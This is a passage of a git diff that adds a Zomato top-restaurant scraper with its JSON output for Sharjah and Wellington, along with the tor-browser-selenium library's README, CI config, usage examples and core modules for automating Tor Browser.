"rating": "3.2"}, {"cuisine": "Fast Food", "rank": "12", "location": "Al Khan, Sharjah", "restaurant_name": "Burger King", "rating": "3.1"}, {"cuisine": "American", "rank": "13", "location": "Al Majaz 3, Sharjah", "restaurant_name": "TGI Friday&#039;s", "rating": "3.4"}, {"cuisine": "Indian, Chinese", "rank": "14", "location": "Al Khan, Sharjah", "restaurant_name": "Katis Restaurant", "rating": "4.5"}, {"cuisine": "Bakery, Indian, Middle Eastern", "rank": "15", "location": "Al Majaz 3, Sharjah", "restaurant_name": "Caesars Restaurant &amp; Confectionery", "rating": "3.4"}, {"cuisine": "North Indian, South Indian,   ", "rank": "16", "location": "Al Nahda, Sharjah", "restaurant_name": "Dosa Plaza", "rating": "3.1"}, {"cuisine": "Indian, Pakistani", "rank": "17", "location": "Al Ghuwair, Sharjah", "restaurant_name": "Delhi Nihari Restaurant", "rating": "3.4"}, {"cuisine": "Pizza, Fast Food", "rank": "18", "location": "Al Nahda, Sharjah", "restaurant_name": "Papa John&#039;s Pizza", "rating": "3.2"}, {"cuisine": "Indian, Arabian, Chinese,   ", "rank": "19", "location": "Al Nahda, Sharjah", "restaurant_name": "Sealand Restaurant", "rating": "3.4"}, {"cuisine": "Mughlai, North Indian,   ", "rank": "20", "location": "Abu Shagara, Sharjah", "restaurant_name": "Dwarka Vegetarian Restaurant", "rating": "3.3"}, {"cuisine": "South Indian, Chinese,   ", "rank": "21", "location": "Abu Shagara, Sharjah", "restaurant_name": "Kamat", "rating": "3.5"}, {"cuisine": "South Indian, Chettinad", "rank": "22", "location": "Abu Shagara, Sharjah", "restaurant_name": "Ponnusamy Restaurant", "rating": "3.0"}, {"cuisine": "African, Portuguese", "rank": "23", "location": "Al Khan, Sharjah", "restaurant_name": "Nando&#039;s", "rating": "3.3"}, {"cuisine": "Indian", "rank": "24", "location": "Al Ghuwair, Sharjah", "restaurant_name": "Aryaas Restaurant", "rating": "3.3"}, {"cuisine": "Chinese", "rank": "25", "location": "Abu Shagara, Sharjah", "restaurant_name": "Peking Chinese Restaurant", "rating": "3.7"}]
diff --git a/pyscrapper/zomato_top_restaurants/output/wellington.json b/pyscrapper/zomato_top_restaurants/output/wellington.json
new file mode 100755
index 00000000..1e2490e7
--- /dev/null
+++ b/pyscrapper/zomato_top_restaurants/output/wellington.json
@@ -0,0 +1 @@
+[{"cuisine": "Italian", "rank": "1", "location": "Te Aro, Wellington City", "restaurant_name": "Ombra", "rating": "3.2"}, {"cuisine": "Asian, Vietnamese, Thai", "rank": "2", "location": "Petone, Wellington", "restaurant_name": "Buddha Stix", "rating": "3.1"}, {"cuisine": "Thai", "rank": "3", "location": "Johnsonville, Wellington City", "restaurant_name": "Sawasdee", "rating": "3.2"}, {"cuisine": "Vietnamese, Thai", "rank": "4", "location": "Petone, Wellington", "restaurant_name": "K Sing", "rating": "3.4"}, {"cuisine": "Thai", "rank": "5", "location": "Upper Hutt Central, Wellington", "restaurant_name": "The Traditional Thai Restaurant", "rating": "3.2"}, {"cuisine": "Thai", "rank": "6", "location": "Totara Park, Wellington", "restaurant_name": "Thai Classic House", "rating": "3.0"}, {"cuisine": "Sea Food, Grill House", "rank": "7", "location": "Oriental Bay, Wellington City", "restaurant_name": "Fisherman&#039;s Table", "rating": "3.3"}, {"cuisine": "Japanese", "rank": "8", "location": "Mount Victoria, Wellington City", "restaurant_name": "Origami", "rating": "3.0"}, {"cuisine": "Thai, Malaysian", "rank": "9", "location": "Lower Hutt Central, Wellington", "restaurant_name": "Taste of Malaysia", "rating": "3.4"}, {"cuisine": "Thai", "rank": "10", "location": "Te Aro, Wellington City", "restaurant_name": "Ban Mai Thai", "rating": "3.3"}, {"cuisine": "Asian", "rank": "11", "location": "Te Aro, Wellington City", "restaurant_name": "Asian Kitchen", "rating": "3.3"}, {"cuisine": "Thai", "rank": "12", "location": "Hataitai, Wellington City", "restaurant_name": "Nakhon Thai", "rating": "3.2"}, {"cuisine": "Chinese, Fish  amp  Chips", "rank": "13", "location": "Berhampore, Wellington City", "restaurant_name": "Sunny Takeaways", "rating": "3.0"}, {"cuisine": "Cafe", "rank": "14", "location": "Oriental Bay, Wellington City", "restaurant_name": "Vista Cafe", "rating": "3.5"}, {"cuisine": "Cafe", "rank": "15", "location": "Petone, Wellington", "restaurant_name": "Caffiend", "rating": "3.5"}, {"cuisine": "Cafe", "rank": "16", "location": "Te Aro, Wellington City", "restaurant_name": "Enigma Cafe", "rating": "3.8"}, {"cuisine": "European, Mediterranean", "rank": "17", "location": "Khandallah, Wellington City", "restaurant_name": "Taste Suburban Dining Room", "rating": "3.4"}, {"cuisine": "Chinese, Malaysian", "rank": "18", "location": "Te Aro, Wellington City", "restaurant_name": "Little Penang", "rating": "3.0"}, {"cuisine": "Cafe, Italian", "rank": "19", "location": "Te Aro, Wellington City", "restaurant_name": "Floriditas", "rating": "3.1"}, {"cuisine": "Cafe, European", "rank": "20", "location": "Te Aro, Wellington City", "restaurant_name": "Fidel&#039;s", "rating": "3.1"}, {"cuisine": "Indian", "rank": "21", "location": "Ngaio, Wellington City", "restaurant_name": "Tandoori Nights", "rating": "3.0"}, {"cuisine": "Indian", "rank": "22", "location": "Newtown, Wellington City", "restaurant_name": "Planet Spice", "rating": "3.7"}, {"cuisine": "Pub", "rank": "23", "location": "Te Aro, Wellington City", "restaurant_name": "Crafty Tavern", "rating": "3.3"}, {"cuisine": "Vietnamese", "rank": "24", "location": "Petone, Wellington", "restaurant_name": "Vietnamese Restaurant", "rating": "3.1"}, {"cuisine": "African, Portuguese", "rank": "25", "location": "Johnsonville, Wellington City", "restaurant_name": "Nando&#039;s", "rating": "3.1"}]
diff --git a/pyscrapper/zomato_top_restaurants/script.py b/pyscrapper/zomato_top_restaurants/script.py
new file mode 100755
index 00000000..43b6dc2a
--- /dev/null
+++ b/pyscrapper/zomato_top_restaurants/script.py
@@ -0,0 +1,55 @@
+'''
+Python class to scrap top 25 trending restaurants and their details for various 
+cities and creating seperate json response for each city
+'''
+
+import json
+import re
+import urllib
+from pprint import pprint
+
+from BeautifulSoup import BeautifulSoup
+
+
+class zomato_top_restaurants:
+
+	def __init__(self,city):
+		self.city = city
+		url = "http://www.zomato.com/" + city + "/top-restaurants"
+		htmltext = urllib.urlopen(url)
+		self.soup = BeautifulSoup(htmltext)
+
+	def scrap(self):
+		soup = self.soup
+		resp = []
+		#print soup.title.string
+		for box in soup.findAll("div",attrs={"class": "top-res-box-details"}):
+			rest_details = {}
+			rest_details['restaurant_name'] = box.span.string 
+			rest_details['cuisine'] = re.sub('[^a-zA-Z0-9\n,]', ' ', str(box.find(attrs={"class": "top-res-box-cuisine" }).string))
+			rest_details['location'] =  box.find("a",attrs={"class" : "cblack" }).string.strip()
+			rest_details['rating'] = box.find("div",attrs={"class" : re.compile("rating-for") }).string.strip()
+			rest_details['rank'] = box.parent.find("div",attrs={"class":"top-res-box-rank"}).text.replace("#","")
+			resp.append(rest_details)
+		return resp
+
+if __name__ == '__main__':
+	cities = open("cities.txt").read().split(",")
+	for city in cities:
+		city = city.lower().replace(" ","")
+		if city == "riodejaneiro":
+			city = "rio"
+		elif city == "delhincr":
+			city = "ncr"
+		elif city == "metromanila":
+			city = "manila"
+		obj = zomato_top_restaurants(city)
+		resp = obj.scrap()
+		d = json.dumps(resp)
+		'''
+		Create a Folder named "output" to collect the output, and uncomment the following lines
+		'''
+		f = open("output/"+city+".json","w")
+		print >> f, d
+		f.close()
+		print pprint(resp)	
\ No newline at end of file
diff --git a/tor-browser-selenium/.travis.yml b/tor-browser-selenium/.travis.yml
new file mode 100644
index 00000000..82a5bc76
--- /dev/null
+++ b/tor-browser-selenium/.travis.yml
@@ -0,0 +1,52 @@
+sudo: false
+language: python
+os: linux
+dist: trusty
+env:
+  global:
+    - DOWNLOAD_DIR=${HOME}/download
+    - STABLE=6.5.1
+    - EXPERIMENTAL=6.5a3
+    - V5_LAST_STABLE=5.5.5
+    - TBB_ARCHIVE_URL=https://archive.torproject.org/tor-package-archive/torbrowser
+  matrix:
+    - TRAVIS_EXTRA_JOB_WORKAROUND=true
+cache:
+  directories:
+  - ${DOWNLOAD_DIR}
+matrix:
+  include:
+    - python: "2.7"
+      env: VERSION_ARCH="${V5_LAST_STABLE}/tor-browser-linux64-${V5_LAST_STABLE}_en-US.tar.xz"
+    - python: "2.7"
+      env: VERSION_ARCH="${EXPERIMENTAL}/tor-browser-linux64-${EXPERIMENTAL}_en-US.tar.xz"
+    - python: "2.7"
+      env: VERSION_ARCH="${EXPERIMENTAL}/tor-browser-linux64-${EXPERIMENTAL}_zh-CN.tar.xz"
+    - python: "2.7"
+      env: VERSION_ARCH="${EXPERIMENTAL}/tor-browser-linux64-${EXPERIMENTAL}_ar.tar.xz"
+    - python: "2.7"
+      env: VERSION_ARCH="${STABLE}/tor-browser-linux64-${STABLE}_en-US.tar.xz"
+    - python: "2.7"
+      env: VERSION_ARCH="${STABLE}/tor-browser-linux64-${STABLE}_zh-CN.tar.xz"
+    - python: "2.7"
+      env: VERSION_ARCH="${STABLE}/tor-browser-linux64-${STABLE}_ar.tar.xz"
+    - python: "3.4"
+      env: VERSION_ARCH="${STABLE}/tor-browser-linux64-${STABLE}_en-US.tar.xz"
+    - python: "3.5"
+      env: VERSION_ARCH="${STABLE}/tor-browser-linux64-${STABLE}_en-US.tar.xz"
+  exclude:
+    - env: TRAVIS_EXTRA_JOB_WORKAROUND=true
+before_install:
+  - "export DISPLAY=:99.0"
+  - "sh -e /etc/init.d/xvfb start"
+install:
+  - pip install -r requirements-travis.txt
+  - easy_install .
+  - TARBALL=`echo ${VERSION_ARCH} |cut -d'/' -f 2`
+  - . ./travis.sh
+  - locale="_"`echo $TARBALL |cut -d'_' -f 2 | cut -d'.' -f 1`
+  - export TBB_PATH=${HOME}/tor-browser${locale}
+
+before_script:
+  - cd tbselenium
+script: travis_retry py.test -s -v --cov=tbselenium --cov-report term-missing --durations=10 test
diff --git a/tor-browser-selenium/README.md b/tor-browser-selenium/README.md
new file mode 100644
index 00000000..5c6db1bf
--- /dev/null
+++ b/tor-browser-selenium/README.md
@@ -0,0 +1,81 @@
+# tor-browser-selenium [![Build Status](https://travis-ci.org/webfp/tor-browser-selenium.svg?branch=master)](https://travis-ci.org/webfp/tor-browser-selenium)
+
+A Python library to automate Tor Browser with Selenium.
+
+## Installation
+
+```
+pip install tbselenium
+```
+## Basic usage
+```python
+from tbselenium.tbdriver import TorBrowserDriver
+with TorBrowserDriver("/path/to/TorBrowserBundle/") as driver:
+    driver.get('https://check.torproject.org')
+```
+
+TorBrowserDriver does not download Tor Browser Bundle (TBB) for you. You should [download](https://www.torproject.org/projects/torbrowser.html.en) and extract TBB and provide its path when you initialize `TorBrowserDriver`.
+
+## Test and development
+Install the Python packages that are needed for development and testing:
+
+`pip install requirements-dev.txt`
+
+Run the following to launch the tests:
+
+`./run_tests.py /path/to/TorBrowserBundle/`
+
+By default, tests will be run using `Xvfb`, so the browser will not be visible.
+You can disable `Xvfb` by exporting the following environment variable:
+
+`export NO_XVFB=1`
+
+#### Running individual tests
+First, export a `TBB_PATH` environment variable that points to the TBB version you want to use:
+
+`export TBB_PATH=/path/to/tbb/tor-browser_en-US/`
+
+Then, use `py.test` to launch the tests you want, e.g.:
+
+* `py.test tbselenium/test/test_tbdriver.py`
+* `py.test tbselenium/test/test_tbdriver.py::TBDriverTest::test_should_load_check_tpo`
+
+
+## Examples
+Check the [examples](https://github.com/webfp/tor-browser-selenium/tree/master/examples) to discover different ways to use TorBrowserDriver
+* [check_tpo.py](https://github.com/webfp/tor-browser-selenium/tree/master/examples/check_tpo.py): Visit check.torproject.org website and print the network status message
+* [headless.py](https://github.com/webfp/tor-browser-selenium/tree/master/examples/headless.py): Headless visit and screenshot of check.torproject.org using XVFB
+* [hidden_service.py](https://github.com/webfp/tor-browser-selenium/tree/master/examples/hidden_service.py): Search using DuckDuckGo's hidden service
+* [parallel.py](https://github.com/webfp/tor-browser-selenium/tree/master/examples/parallel.py): Visit check.torproject.org with 3 browsers running in parallel
+* [screenshot.py](https://github.com/webfp/tor-browser-selenium/tree/master/examples/screenshot.py): Take a screenshot
+* [stem_simple.py](https://github.com/webfp/tor-browser-selenium/tree/master/examples/stem_simple.py): Using Stem to start the Tor process
+* [stem_adv.py](https://github.com/webfp/tor-browser-selenium/tree/master/examples/stem_adv.py): Using Stem with more advanced configuration
+
+
+## Compatibility
+[Tested](https://travis-ci.org/webfp/tor-browser-selenium) with the following Tor Browser Bundle versions on Debian (Wheezy) and Ubuntu (14.04 & 15.10):
+
+* 6.5.1
+* 6.5a3
+* 5.5.5
+* 4.0.8
+
+## Troubleshooting
+
+Solutions to potential issues:
+
+* Outdated (or incompatible) Python `selenium` package: This is the source of various obscure errors. Make sure you have `selenium` version **2.53.6**.
+* Outdated Tor Browser Bundle: Download and use a more recent TBB version.
+* Port conflict with other (`Tor`) process: Pick a different SOCKS and controller port using `socks_port` argument.
+* Use `tbb_logfile_path` argument of TorBrowserDriver to debug obscure errors. This can help with problems due to missing display, missing libraries (e.g. when the LD_LIBRARY_PATH is not set correctly) or other errors that Tor Browser logs to standard output.
+* When you use `LAUNCH_NEW_TBB_TOR` option and get the following [error message](https://github.com/webfp/tor-browser-selenium/issues/62) during the initialization, it's likely that Tor failed to bootstrap (due to network etc.):
+
+ ```
+ Can't load the profile. Profile Dir: /tmp/tmpO7i1lL/webdriver-py-profilecopy If you specified a log_file in the FirefoxBinary constructor, check it for details
+ ```
+* `driver.get_cookies()` returns an empty list. This is due to Private Browsing Mode (PBM), which Selenium uses under the hood. See [#79](https://github.com/webfp/tor-browser-selenium/issues/79) for a possible solution.
+
+## Credits
+We greatly benefited from the following two projects:
+* [tor-browser-selenium](https://github.com/isislovecruft/tor-browser-selenium) by @isislovecruft.
+* [tor-browser-bundle-testsuite](https://gitweb.torproject.org/boklm/tor-browser-bundle-testsuite.git/) by @boklm.
diff --git a/tor-browser-selenium/examples/check_tpo.py b/tor-browser-selenium/examples/check_tpo.py
new file mode 100644
index 00000000..b4c25fab
--- /dev/null
+++ b/tor-browser-selenium/examples/check_tpo.py
@@ -0,0 +1,29 @@
+from argparse import ArgumentParser
+from tbselenium.tbdriver import TorBrowserDriver
+from selenium.webdriver.support.ui import Select
+from time import sleep
+
+
+def visit(tbb_dir):
+    url = "https://check.torproject.org"
+    with TorBrowserDriver(tbb_dir) as driver:
+        driver.load_url(url)
+        # Iterate over a bunch of locales from the drop-down menu
+        for lang_code in ["en_US", "fr", "zh_CN", "fa", "ru", "hi", "ja"]:
+            select = Select(driver.find_element_by_id("cl"))
+            select.select_by_value(lang_code)
+            sleep(1)
+            print("\n======== Locale: %s ========" % lang_code)
+            print driver.find_element_by("h1.on").text  # status text
+            print driver.find_element_by(".content > p").text  # IP address
+
+
+def main():
+    desc = "Visit check.torproject.org website"
+    parser = ArgumentParser(description=desc)
+    parser.add_argument('tbb_path')
+    args = parser.parse_args()
+    visit(args.tbb_path)
+
+if __name__ == '__main__':
+    main()
diff --git a/tor-browser-selenium/examples/headless.py b/tor-browser-selenium/examples/headless.py
new file mode 100644
index 00000000..a6f51b5e
--- /dev/null
+++ b/tor-browser-selenium/examples/headless.py
@@ -0,0 +1,27 @@
+from argparse import ArgumentParser
+from tbselenium.tbdriver import TorBrowserDriver
+from tbselenium.utils import start_xvfb, stop_xvfb
+from os.path import join, dirname, realpath
+
+
+def headless_visit(tbb_dir):
+    out_img = join(dirname(realpath(__file__)), "headless_screenshot.png")
+    # start a virtual display
+    xvfb_display = start_xvfb()
+    with TorBrowserDriver(tbb_dir) as driver:
+        driver.load_url("https://check.torproject.org")
+        driver.get_screenshot_as_file(out_img)
+        print("Screenshot is saved as %s" % out_img)
+
+    stop_xvfb(xvfb_display)
+
+
+def main():
+    desc = "Headless visit and screenshot of check.torproject.org using XVFB"
+    parser = ArgumentParser(description=desc)
+    parser.add_argument('tbb_path')
+    args = parser.parse_args()
+    headless_visit(args.tbb_path)
+
+if __name__ == '__main__':
+    main()
diff --git a/tor-browser-selenium/examples/hidden_service.py b/tor-browser-selenium/examples/hidden_service.py
new file mode 100644
index 00000000..19c3432f
--- /dev/null
+++ b/tor-browser-selenium/examples/hidden_service.py
@@ -0,0 +1,27 @@
+from argparse import ArgumentParser
+from tbselenium.tbdriver import TorBrowserDriver
+from selenium.webdriver.common.keys import Keys
+from selenium.webdriver.common.by import By
+
+
+def search_with_ddg_hidden_service(tbb_dir):
+    ddg_hs_url = "http://3g2upl4pq6kufc4m.onion"  # DuckDuckGo Hidden Service
+    with TorBrowserDriver(tbb_dir) as driver:
+        driver.load_url(ddg_hs_url)
+        search_box = driver.find_element_by("#search_form_input_homepage")
+        search_box.send_keys("Citizenfour")
+        search_box.send_keys(Keys.RETURN)
+        driver.find_element_by("More at Wikipedia",
+                               timeout=60,
+                               find_by=By.LINK_TEXT)
+
+
+def main():
+    desc = "Search using DuckDuckGo's hidden service"
+    parser = ArgumentParser(description=desc)
+    parser.add_argument('tbb_path')
+    args = parser.parse_args()
+    search_with_ddg_hidden_service(args.tbb_path)
+
+if __name__ == '__main__':
+    main()
diff --git a/tor-browser-selenium/examples/parallel.py b/tor-browser-selenium/examples/parallel.py
new file mode 100644
index 00000000..886d4931
--- /dev/null
+++ b/tor-browser-selenium/examples/parallel.py
@@ -0,0 +1,42 @@
+from multiprocessing import Pool
+from argparse import ArgumentParser
+from tbselenium.tbdriver import TorBrowserDriver
+from tbselenium.utils import launch_tbb_tor_with_stem
+from tbselenium.common import STEM_SOCKS_PORT, USE_RUNNING_TOR,\
+    STEM_CONTROL_PORT
+
+JOBS_IN_PARALLEL = 3
+
+
+def run_in_parallel(inputs, worker, no_of_processes=JOBS_IN_PARALLEL):
+    p = Pool(no_of_processes)
+    p.map(worker, inputs)
+
+
+def visit_check_tpo_with_stem(tbb_dir):
+    url = "https://check.torproject.org"
+    with TorBrowserDriver(tbb_dir,
+                          socks_port=STEM_SOCKS_PORT,
+                          control_port=STEM_CONTROL_PORT,
+                          tor_cfg=USE_RUNNING_TOR) as driver:
+        driver.load_url(url, wait_on_page=3)
+        print(driver.find_element_by("h1.on").text)
+        print(driver.find_element_by(".content > p").text)
+
+
+def launch_browsers_in_parallel(tbb_path):
+    tor_process = launch_tbb_tor_with_stem(tbb_path=tbb_path)
+    run_in_parallel(JOBS_IN_PARALLEL * [tbb_path],
+                    visit_check_tpo_with_stem)
+    tor_process.kill()
+
+
+def main():
+    desc = "Visit check.torproject.org website running 3 browsers in parallel"
+    parser = ArgumentParser(description=desc)
+    parser.add_argument('tbb_path')
+    args = parser.parse_args()
+    launch_browsers_in_parallel(args.tbb_path)
+
+if __name__ == '__main__':
+    main()
diff --git a/tor-browser-selenium/examples/screenshot.py b/tor-browser-selenium/examples/screenshot.py
new file mode 100644
index 00000000..e95806e2
--- /dev/null
+++ b/tor-browser-selenium/examples/screenshot.py
@@ -0,0 +1,25 @@
+from argparse import ArgumentParser
+from os.path import dirname, join, realpath, getsize
+from tbselenium.tbdriver import TorBrowserDriver
+
+
+def visit_and_capture(tbb_dir, url):
+    """Take screenshot of the page."""
+    out_img = join(dirname(realpath(__file__)), "screenshot.png")
+    with TorBrowserDriver(tbb_dir) as driver:
+        driver.load_url(url, wait_for_page_body=True)
+        driver.get_screenshot_as_file(out_img)
+    print("Screenshot is saved as %s (%s bytes)" % (out_img, getsize(out_img)))
+
+
+def main():
+    desc = "Take a screenshot using TorBrowserDriver"
+    default_url = "https://check.torproject.org"
+    parser = ArgumentParser(description=desc)
+    parser.add_argument('tbb_path')
+    parser.add_argument('url', nargs='?', default=default_url)
+    args = parser.parse_args()
+    visit_and_capture(args.tbb_path, args.url)
+
+if __name__ == '__main__':
+    main()
diff --git a/tor-browser-selenium/examples/stem_adv.py b/tor-browser-selenium/examples/stem_adv.py
new file mode 100644
index 00000000..a4b0c1b9
--- /dev/null
+++ b/tor-browser-selenium/examples/stem_adv.py
@@ -0,0 +1,65 @@
+from argparse import ArgumentParser
+from stem.control import Controller
+from stem import CircStatus
+from tbselenium.tbdriver import TorBrowserDriver
+import tbselenium.common as cm
+from tbselenium.utils import launch_tbb_tor_with_stem
+from selenium.webdriver.common.utils import free_port
+import tempfile
+from os.path import join
+
+
+def print_tor_circuits(controller):
+    """Print built Tor circuits using Stem.
+    From https://stem.torproject.org/tutorials/examples/list_circuits.html
+    """
+    for circ in sorted(controller.get_circuits()):
+        if circ.status != CircStatus.BUILT:
+            continue
+
+        print("\nCircuit %s (%s)" % (circ.id, circ.purpose))
+
+        for i, entry in enumerate(circ.path):
+            div = '+' if (i == len(circ.path) - 1) else '|'
+            fingerprint, nickname = entry
+
+            desc = controller.get_network_status(fingerprint, None)
+            address = desc.address if desc else 'unknown'
+
+            print(" %s- %s (%s, %s)" % (div, fingerprint, nickname, address))
+
+
+def launch_tb_with_custom_stem(tbb_dir):
+    socks_port = free_port()
+    control_port = free_port()
+    tor_data_dir = tempfile.mkdtemp()
+    tor_binary = join(tbb_dir, cm.DEFAULT_TOR_BINARY_PATH)
+    print("SOCKS port: %s, Control port: %s" % (socks_port, control_port))
+
+    torrc = {'ControlPort': str(control_port),
+             'SOCKSPort': str(socks_port),
+             'DataDirectory': tor_data_dir}
+    tor_process = launch_tbb_tor_with_stem(tbb_path=tbb_dir, torrc=torrc,
+                                           tor_binary=tor_binary)
+    with Controller.from_port(port=control_port) as controller:
+        controller.authenticate()
+        with TorBrowserDriver(tbb_dir, socks_port=socks_port,
+                              control_port=control_port,
+                              tor_cfg=cm.USE_RUNNING_TOR) as driver:
+            driver.load_url("https://check.torproject.org", wait_on_page=3)
+            print(driver.find_element_by("h1.on").text)
+            print(driver.find_element_by(".content > p").text)
+        print_tor_circuits(controller)
+
+    tor_process.kill()
+
+
+def main():
+    desc = "Use TorBrowserDriver with Stem"
+    parser = ArgumentParser(description=desc)
+    parser.add_argument('tbb_path')
+    args = parser.parse_args()
+    launch_tb_with_custom_stem(args.tbb_path)
+
+if __name__ == '__main__':
+    main()
diff --git a/tor-browser-selenium/examples/stem_simple.py b/tor-browser-selenium/examples/stem_simple.py
new file mode 100644
index 00000000..78d6d721
--- /dev/null
+++ b/tor-browser-selenium/examples/stem_simple.py
@@ -0,0 +1,28 @@
+from argparse import ArgumentParser
+from tbselenium.tbdriver import TorBrowserDriver
+import tbselenium.common as cm
+from tbselenium.utils import launch_tbb_tor_with_stem
+
+
+def launch_tb_with_stem(tbb_dir):
+    tor_process = launch_tbb_tor_with_stem(tbb_path=tbb_dir)
+    with TorBrowserDriver(tbb_dir,
+                          tor_cfg=cm.USE_RUNNING_TOR,
+                          socks_port=cm.STEM_SOCKS_PORT,
+                          control_port=cm.STEM_CONTROL_PORT) as driver:
+        driver.load_url("https://check.torproject.org", wait_on_page=3)
+        print(driver.find_element_by("h1.on").text)
+        print(driver.find_element_by(".content > p").text)
+
+    tor_process.kill()
+
+
+def main():
+    desc = "Use TorBrowserDriver with Stem"
+    parser = ArgumentParser(description=desc)
+    parser.add_argument('tbb_path')
+    args = parser.parse_args()
+    launch_tb_with_stem(args.tbb_path)
+
+if __name__ == '__main__':
+    main()
diff --git a/tor-browser-selenium/requirements-dev.txt b/tor-browser-selenium/requirements-dev.txt
new file mode 100644
index 00000000..7b652b52
--- /dev/null
+++ b/tor-browser-selenium/requirements-dev.txt
@@ -0,0 +1,4 @@
+pyvirtualdisplay
+stem
+pytest
+pytest-cov
diff --git a/tor-browser-selenium/requirements-travis.txt b/tor-browser-selenium/requirements-travis.txt
new file mode 100644
index 00000000..c3489a05
--- /dev/null
+++ b/tor-browser-selenium/requirements-travis.txt
@@ -0,0 +1,2 @@
+stem
+pytest-cov
diff --git a/tor-browser-selenium/run_tests.py b/tor-browser-selenium/run_tests.py
new file mode 100755
index 00000000..17e098b7
--- /dev/null
+++ b/tor-browser-selenium/run_tests.py
@@ -0,0 +1,25 @@
+#!/usr/bin/python
+from argparse import ArgumentParser
+from subprocess import call
+from os import environ
+from os.path import isdir, realpath, dirname, join
+
+
+desc = "Run all the TorBrowserDriver tests"
+parser = ArgumentParser(description=desc)
+parser.add_argument('tbb_path')
+args = parser.parse_args()
+
+if not isdir(args.tbb_path):
+    raise IOError("Please pass the path to Tor Browser Bundle")
+
+# TBB_PATH environment variable is used by the tests
+environ['TBB_PATH'] = args.tbb_path
+
+# Get test directory from path of this script
+file_path = dirname(realpath(__file__))
+test_dir = join(file_path, 'tbselenium', 'test')
+
+# Run all the tests using py.test
+call(["py.test", "-s", "-v", "--cov=tbselenium", "--cov-report",
+      "term-missing", "--durations=10", test_dir])
diff --git a/tor-browser-selenium/setup.cfg b/tor-browser-selenium/setup.cfg
new file mode 100644
index 00000000..8c282679
--- /dev/null
+++ b/tor-browser-selenium/setup.cfg
@@ -0,0 +1,3 @@
+[metadata]
+description-file = README.md
+
diff --git a/tor-browser-selenium/setup.py b/tor-browser-selenium/setup.py
new file mode 100644
index 00000000..7346c765
--- /dev/null
+++ b/tor-browser-selenium/setup.py
@@ -0,0 +1,14 @@
+from setuptools import setup
+
+
+setup(
+    name="tbselenium",
+    description="Tor Browser automation with Selenium",
+    keywords=["tor", "selenium", "tor browser"],
+    version=0.2,
+    url = 'https://github.com/webfp/tor-browser-selenium',
+    packages=["tbselenium", "tbselenium.test"],
+    install_requires=[
+        "selenium>=2.45.0,<3"
+    ]
+)
diff --git a/tor-browser-selenium/tbselenium/.coveragerc b/tor-browser-selenium/tbselenium/.coveragerc
new file mode 100644
index 00000000..c50825e8
--- /dev/null
+++ b/tor-browser-selenium/tbselenium/.coveragerc
@@ -0,0 +1,3 @@
+[run]
+omit =
+    test/*
diff --git a/tor-browser-selenium/tbselenium/__init__.py b/tor-browser-selenium/tbselenium/__init__.py
new file mode 100644
index 00000000..e69de29b
diff --git a/tor-browser-selenium/tbselenium/common.py b/tor-browser-selenium/tbselenium/common.py
new file mode 100644
index 00000000..0249ebba
--- /dev/null
+++ b/tor-browser-selenium/tbselenium/common.py
@@ -0,0 +1,52 @@
+from os.path import join
+from os import environ
+
+# DEFAULT TBB PATHS works for TBB versions v4.x and above
+# Old TBB versions (V3.X or below) have different directory structures
+DEFAULT_TBB_BROWSER_DIR = 'Browser'
+DEFAULT_TBB_TORBROWSER_DIR = join('Browser', 'TorBrowser')
+DEFAULT_TBB_FX_BINARY_PATH = join('Browser', 'firefox')
+DEFAULT_TOR_BINARY_DIR = join(DEFAULT_TBB_TORBROWSER_DIR, 'Tor')
+DEFAULT_TOR_BINARY_PATH = join(DEFAULT_TOR_BINARY_DIR, 'tor')
+DEFAULT_TBB_DATA_DIR = join(DEFAULT_TBB_TORBROWSER_DIR, 'Data')
+DEFAULT_TBB_PROFILE_PATH = join(DEFAULT_TBB_DATA_DIR, 'Browser',
+                                'profile.default')
+DEFAULT_TOR_DATA_PATH = join(DEFAULT_TBB_DATA_DIR, 'Tor')
+TB_VERSIONS_PATH = join(DEFAULT_TBB_TORBROWSER_DIR,
+                        'Docs', 'sources', 'versions')
+
+# Directories for bundled fonts - Linux only
+DEFAULT_FONTCONFIG_PATH = join(DEFAULT_TBB_DATA_DIR, 'fontconfig')
+FONTCONFIG_FILE = "fonts.conf"
+DEFAULT_FONTS_CONF_PATH = join(DEFAULT_FONTCONFIG_PATH, FONTCONFIG_FILE)
+DEFAULT_BUNDLED_FONTS_PATH = join('Browser', 'fonts')
+
+# SYSTEM TOR PORTS
+DEFAULT_SOCKS_PORT = 9050
+DEFAULT_CONTROL_PORT = 9051
+
+# TBB TOR PORTS
+TBB_SOCKS_PORT = 9150
+TBB_CONTROL_PORT = 9151
+
+# pick 9250, 9251 to avoid conflict
+STEM_SOCKS_PORT = 9250
+STEM_CONTROL_PORT = 9251
+
+KNOWN_SOCKS_PORTS = [DEFAULT_SOCKS_PORT, TBB_SOCKS_PORT]
+PORT_BAN_PREFS = ["extensions.torbutton.banned_ports",
+                  "network.security.ports.banned"]
+
+TB_INIT_TIMEOUT = 60
+
+# Test constants
+CHECK_TPO_URL = "http://check.torproject.org"
+CHECK_TPO_HOST = "check.torproject.org"
+TEST_URL = CHECK_TPO_URL
+ABOUT_TOR_URL = "about:tor"
+
+# Which tor process/binary to use
+LAUNCH_NEW_TBB_TOR = 0  # use tor in TBB, launch a new process
+USE_RUNNING_TOR = 1  # use the tor installed and running on the system
+
+TRAVIS = "CI" in environ and "TRAVIS" in environ
diff --git a/tor-browser-selenium/tbselenium/exceptions.py b/tor-browser-selenium/tbselenium/exceptions.py
new file mode 100644
index 00000000..7a7a5f5d
--- /dev/null
+++ b/tor-browser-selenium/tbselenium/exceptions.py
@@ -0,0 +1,27 @@
+
+class TBDriverPathError(Exception):
+    pass
+
+
+class TBTestEnvVarError(Exception):
+    pass
+
+
+class TBDriverPortError(Exception):
+    pass
+
+
+class TBDriverConfigError(Exception):
+    pass
+
+
+class TimeExceededError(Exception):
+    pass
+
+
+class TorBrowserDriverInitError(Exception):
+    pass
+
+
+class StemLaunchError(Exception):
+    pass
diff --git a/tor-browser-selenium/tbselenium/tbbinary.py b/tor-browser-selenium/tbselenium/tbbinary.py
new file mode 100644
index 00000000..8f988226
--- /dev/null
+++ b/tor-browser-selenium/tbselenium/tbbinary.py
@@ -0,0 +1,16 @@
+from selenium.webdriver.firefox.firefox_binary import FirefoxBinary
+
+
+class TBBinary(FirefoxBinary):
+    '''
+    Extend FirefoxBinary to better handle terminated browser processes.
+    '''
+
+    def kill(self):
+        """Kill the browser.
+
+        This is useful when the browser is stuck.
+        """
+        if self.process and self.process.poll() is None:
+            self.process.kill()
+            self.process.wait()
diff --git a/tor-browser-selenium/tbselenium/tbdriver.py b/tor-browser-selenium/tbselenium/tbdriver.py
new file mode 100644
index 00000000..037a49bd
